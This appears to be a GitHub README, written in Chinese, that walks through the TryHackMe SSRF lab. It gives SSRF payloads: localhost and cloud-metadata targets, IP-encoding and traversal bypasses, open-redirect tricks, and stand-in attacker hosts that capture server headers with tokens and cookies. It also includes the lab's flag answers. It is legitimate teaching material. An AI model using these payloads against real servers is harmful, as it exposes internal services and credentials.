AdityaBhatt3010/SSRF

GitHub: AdityaBhatt3010/SSRF

Stars: 0 | Forks: 0

# TryHackMe 演练 — SSRF (Server-Side Request Forgery) **实验室:** [https://tryhackme.com/room/ssrfqi](https://tryhackme.com/room/ssrfqi) 在这个房间里,我们将探索 **Server-Side Request Forgery (SSRF)** —— 这是一种攻击者诱骗服务器代表其发出 HTTP 请求的漏洞。由于请求源自 **服务器本身**,它可以访问攻击者通常无法访问的资源,例如 **内部 API、localhost 服务或云元数据端点**。 本演练涵盖了实验室中演示的概念,然后逐步介绍 **实际利用** 过程以获取最终的 flag。🧩 ![Cover](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/09ee88a245020529.jpg) # 任务 1 — 什么是 SSRF? 当 Web 应用程序从用户指定的位置获取资源而未对其进行正确验证时,就会发生 **SSRF (Server-Side Request Forgery)**。 攻击者不再请求预期的资源,而是操纵输入,使服务器请求 **内部或敏感** 的内容。 可以把它想象成说服服务器充当你请求的 **代理**。 ### SSRF 的类型 主要有两种类型: **常规 SSRF (Regular SSRF)** 来自内部资源的响应直接返回给攻击者。 **盲 SSRF (Blind SSRF)** 服务器仍然发出请求,但 **不向攻击者显示任何响应**。在这种情况下,攻击者依靠外部监控工具来确认请求已发生。 ### 可能的影响 成功的 SSRF 攻击可能导致: * 访问内部网络服务 * 检索敏感的组织数据 * 访问受限端点 * 泄露身份验证 token 或 API 密钥 * 深入渗透到内部基础设施 ### 答案 **SSRF 代表什么?** Server-Side Request Forgery **与常规 SSRF 相对,另一种类型是什么?** Blind ![SSRF Concept](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/979d3c7a8c020530.png) # 任务 2 — SSRF 示例 本节演示 SSRF 漏洞在真实应用程序中出现的不同方式。 每个示例都突出了不同程度的攻击者控制权。 ## 示例 1 — 完全 URL 控制 在第一个场景中,应用程序期望的请求如下: ``` https://website.thm/fetch?url=https://api.website.thm/data ``` 服务器检索 `url` 参数中指定的资源。 如果攻击者控制此参数,他们可以将其替换为他们想要的任何目的地: ``` http://localhost/admin ``` 因为请求是 **从服务器** 发出的,所以它可能访问外部用户无法到达的内部服务。 ![SSRF Example 1](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/6a28d7119c020532.png) ## 示例 2 — 使用目录遍历控制路径 有时攻击者无法控制整个 URL —— 只能控制 **路径部分**。 示例请求: ``` /stock/check?path=/stock/item ``` 如果应用程序允许路径操作,攻击者可能会注入目录遍历序列。 Payload ``` ../api/user ``` `../` 告诉系统 **向上一级目录**。因此,最终请求变为: ``` /api/user ``` 此技术绕过了限制并允许访问不同的端点。 ![SSRF Example 2](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/a46b62230e020534.png) ## 示例 3 — 子域名注入 在这种情况下,攻击者控制请求的 **子域名部分**。 使用了一个聪明的技巧来防止服务器附加额外的路径。 Payload ``` attacker-domain.com&x= ``` `&x=` 将请求的剩余部分转换为查询参数而不是路径。这确保了攻击者保持对最终 URL 的控制。 ![SSRF Example 3](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/84cb61d060020535.png) ## 示例 4 — 捕获服务器请求 攻击者可以强制服务器向 **他们自己控制的服务器** 发出请求,而不是针对内部资源。 Payload ``` http://attacker-server.com ``` 当服务器连接到攻击者的服务器时,它可能会发送 **HTTP 标头**,包括: * authentication tokens * API keys * cookies 这些标头可能会泄露敏感凭据。 ![SSRF Example 4](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/b253953ce5020537.png) ## 示例挑战 任务是修改请求,以便服务器从以下位置检索数据: ``` https://server.website.thm/flag?id=9 ``` 一旦请求构造正确,内部服务器就会返回 flag。 **Flag** ``` THM{SSRF_MASTER} ``` ![SSRF Example Flag](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/4be9c9cf11020538.png) # 任务 3 — 查找 SSRF 漏洞 当应用程序根据用户输入动态获取资源时,经常会出现 SSRF 漏洞。 常见的检查位置包括: ### 完整 URL 参数 ``` ?url=http://example.com ``` ### 隐藏表单输入 应用程序有时会在 HTML 表单中隐藏后端参数。 ### 主机名参数 ``` ?server=internal-api ``` ### 路径参数 ``` ?path=/api/data ``` 这些输入通常控制 **后端 HTTP 请求**,这使它们成为 SSRF 的主要候选者。 ### 识别易受攻击的 URL 给定选项: * [https://website.thm/index.php](https://website.thm/index.php) * [https://website.thm/list-products.php?categoryId=5325](https://website.thm/list-products.php?categoryId=5325) * [https://website.thm/fetch-file.php?fname=242533.pdf&srv=filestorage.cloud.thm&port=8001](https://website.thm/fetch-file.php?fname=242533.pdf&srv=filestorage.cloud.thm&port=8001) * [https://website.thm/buy-item.php?itemId=213&price=100&q=2](https://website.thm/buy-item.php?itemId=213&price=100&q=2) 第三个选项最可疑,因为它允许控制: * hostname * port * resource location 这表明应用程序可能从外部存储检索文件。 **答案** 3 ![Finding SSRF](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/58af8a040a020540.png) # 任务 4 — SSRF 防护与绕过技术 具有安全意识的开发人员经常实施验证规则以防止 SSRF。 这些通常分为两类。 ## 黑名单 黑名单阻止特定的域名或 IP 地址,例如: * localhost * 127.0.0.1 然而,攻击者可以使用替代表示法绕过这些限制。 示例包括: ``` 127.1 ``` ``` 0.0.0.0 ``` ``` 2130706433 ``` 这些值仍然解析为 **localhost**,从而绕过简单的过滤。 ### 云元数据目标 在云环境中,攻击者经常针对: ``` 169.254.169.254 ``` 此端点包含 **云实例元数据**,这可能会暴露凭据或配置数据。 ## 白名单 白名单仅允许匹配特定模式的请求。 示例规则: ``` URL must start with https://website.thm ``` 攻击者可以通过构造恶意域名来绕过此限制,例如: ``` https://website.thm.attacker-domain.com ``` 由于字符串仍然以 `website.thm` 开头,因此验证通过。 ## 开放重定向绕过 另一个有用的技巧是滥用 **开放重定向端点**。 示例端点: ``` https://website.thm/link?url=https://tryhackme.com ``` 攻击者可以更改重定向目标: ``` https://website.thm/link?url=https://attacker.com ``` 服务器首先验证 URL,然后在内部重定向到攻击者控制的目标。 ### 答案 **用于绕过严格规则的方法** Open Redirect **敏感的云元数据 IP** 169.254.169.254 **仅允许特定输入的列表** Allow List **阻止特定输入的列表** Deny List ![SSRF Filtering](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/821b08e176020541.png) # 任务 5 — SSRF 实战利用 现在我们进入涉及 **Acme IT Support 网站** 的实战利用场景。 在侦察过程中,我们发现了两个有趣的端点: * `/private` * `/customers/new-account-page` `/private` 端点似乎受到限制,显示 **基于 IP 的访问错误**。 这表明,如果我们能让 **服务器本身** 请求此端点,我们可能会绕过该限制。 ## 步骤 1 — 创建账户 首先,我们创建一个客户账户并登录应用程序。 登录后,我们访问: ``` /customers/new-account-page ``` 此页面引入了一项新功能,允许用户选择头像。 ![Avatar Selection](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/d60e8976fa020542.png) ## 步骤 2 — 检查头像机制 查看页面源代码发现,头像图像路径存储在表单中。 此外,页面上显示的头像图像使用带有 **Base64 编码的 Data URI**。 这有力地表明服务器 **在将图像嵌入页面之前,会在内部获取并将其转换为 base64**。 ![Avatar Base64](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/ff87a48054020543.png) ## 步骤 3 — 修改头像路径 使用浏览器开发者工具,我们检查其中一个头像单选按钮并修改其值。 Payload ``` private ``` 其想法是诱骗服务器检索受限的 `/private` 端点而不是图像。 但是,应用程序阻止了此请求,因为 **黑名单阻止了以 `/private` 开头的路径**。 ## 步骤 4 — 绕过黑名单 为了绕过过滤器,我们使用 **目录遍历技巧**。 Payload ``` x/../private ``` 解释: * `x/` 添加了一个无害的目录前缀 * `../` 向上移动一个目录 * 最终解析的路径变为 `/private` 由于过滤器仅检查路径是否 **以 `/private` 开头**,因此此 payload 绕过了该规则。 服务器现在成功获取了受限资源。 ![Traversal Bypass](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/52e5c66311020545.png) ## 步骤 5 — 检索 Flag 再次查看页面源代码显示,头像内容现在包含 **来自 `/private` 目录的 base64 编码数据**。 我们只需解码 base64 字符串即可显示 flag。 示例解码命令: ``` echo BASE64_DATA | base64 -d ``` 解码后,flag 出现。 ![Base64 Flag](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/f7aa89e21b020546.png) # 最终 Flag ``` THM{YOU_WORKED_OUT_THE_SSRF} ``` ![Final Flag](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/d2d73f224a020547.png) # 结论 本实验演示了 SSRF 漏洞如何允许攻击者: * 访问内部端点 * 绕过基于 IP 的限制 * 检索敏感的服务器数据 * 与内部服务交互 如果未正确验证用户输入,即使是像 **图像获取或文件加载** 这样简单的功能也可能引入 SSRF 漏洞。 对于 **渗透测试人员和开发人员** 来说,在评估 Web 应用程序的安全漏洞时,了解这些模式至关重要。 ## ⭐ 关注我并建立联系 🔗 **GitHub:** [https://github.com/AdityaBhatt3010](https://github.com/AdityaBhatt3010)
💼 **LinkedIn:** [https://www.linkedin.com/in/adityabhatt3010/](https://www.linkedin.com/in/adityabhatt3010/)
✍️ **Medium:** [https://medium.com/@adityabhatt3010](https://medium.com/@adityabhatt3010)
标签:API安全, Base64编码, Blind SSRF, CISA项目, HTTP请求, IP 地址批量处理, JSON输出, Linux取证, SSRF, TryHackMe, Web安全, 云元数据攻击, 内网探测, 安全攻防, 安全教程, 服务端请求伪造, 漏洞分析, 网络安全, 蓝队分析, 路径探测, 防御绕过, 隐私保护, 靶场Writeup